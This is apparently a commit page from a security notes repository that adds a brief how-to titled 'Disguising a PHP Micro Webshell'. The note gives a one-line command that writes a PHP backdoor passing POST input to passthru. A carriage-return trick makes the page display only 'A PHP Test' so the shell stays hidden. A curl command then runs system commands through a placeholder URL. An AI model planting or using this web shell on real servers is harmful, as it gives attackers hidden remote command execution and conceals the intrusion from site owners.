Create 2015-09-12.php

ooopsec · Sep 12, 2015 · 2b600b7 · 2b600b7
1 parent fca1830
commit 2b600b7
Showing 1 changed file with 12 additions and 0 deletions.
diff --git a/php/tw/2015-09-12.php b/php/tw/2015-09-12.php
@@ -0,0 +1,12 @@
+Disguising a PHP Micro Webshell 
+
+` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
+
+url : http://t.co/YFm6QlpK0k
+
+vist browser  page show `A PHP Test`
+
+then in console 
+`curl -d 1=id http://www.xxx.xx/xx.php`
+
+it like in console show command `id`